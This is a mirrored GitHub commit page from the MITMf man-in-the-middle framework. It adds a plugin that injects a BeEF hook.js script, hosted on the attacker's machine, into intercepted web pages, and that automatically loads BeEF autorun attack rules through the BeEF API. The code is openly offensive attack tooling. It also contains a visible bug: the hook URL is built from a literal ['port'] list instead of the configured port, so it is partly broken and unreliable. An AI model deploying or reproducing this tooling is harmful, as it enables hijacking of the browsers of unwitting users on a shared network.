mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
Added new beefapi.py , modified beefautorun plugin: now handles hook injection + ARE autoloading
This commit is contained in:
parent
232e43325d
commit
87bca5e7dd
12 changed files with 561 additions and 259 deletions
79
plugins/beefautorun.py
Normal file
79
plugins/beefautorun.py
Normal file
|
@ -0,0 +1,79 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import os
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
from core.beefapi import BeefAPI
|
||||
from mitmflib.watchdog.observers import Observer
|
||||
from mitmflib.watchdog.events import FileSystemEventHandler
|
||||
|
||||
class BeefAutorun(Inject, Plugin):
|
||||
name = "BeEFAutoloader"
|
||||
optname = "beefauto"
|
||||
desc = "Injects BeEF hooks & manages BeEF's ARE rule loading"
|
||||
version = "0.4"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.ip_address = options.ip
|
||||
beefconfig = self.config['MITMf']['BeEF']
|
||||
|
||||
Inject.initialize(self, options)
|
||||
self.js_url = 'http://{}:{}/hook.js'.format(options.ip , ['port'])
|
||||
|
||||
beefconfig = self.config['MITMf']['BeEF']
|
||||
|
||||
from core.utils import shutdown
|
||||
beef = BeefAPI({"host": beefconfig['host'], "port": beefconfig['port']})
|
||||
if not beef.login(beefconfig['user'], beefconfig['pass']):
|
||||
shutdown("[BeEFAutorun] Error logging in to BeEF!")
|
||||
|
||||
self.tree_info.append('Starting RuleWatcher')
|
||||
RuleWatcher(beef, self.log).start()
|
||||
|
||||
def options(self, options):
|
||||
pass
|
||||
|
||||
class RuleWatcher(FileSystemEventHandler):
|
||||
|
||||
def __init__(self, beef, logger):
|
||||
FileSystemEventHandler.__init__(self)
|
||||
self.beef = beef
|
||||
self.log = logger
|
||||
|
||||
def on_modified(self, event):
|
||||
self.log.debug('Detected ARE rule change!')
|
||||
for rule in self.beef.are_rules.list():
|
||||
self.log.debug('Deleting rule id: {} name: {}'.format(rule.id, rule.name))
|
||||
rule.delete()
|
||||
|
||||
if event.src_path.endswith('.json'):
|
||||
self.log.debug('Detected ARE rule modification/addition!')
|
||||
for rule in os.listdir('./config/beef_arerules/enabled'):
|
||||
if rule.endswith('.json'):
|
||||
rule_path = './config/beef_arerules/enabled/' + rule
|
||||
self.log.debug('Adding rule {}'.format(rule_path))
|
||||
self.beef.are_rules.add(rule_path)
|
||||
|
||||
def start(self):
|
||||
observer = Observer()
|
||||
observer.schedule(self, path='./config/beef_arerules/enabled', recursive=False)
|
||||
observer.start()
|
Loading…
Add table
Add a link
Reference in a new issue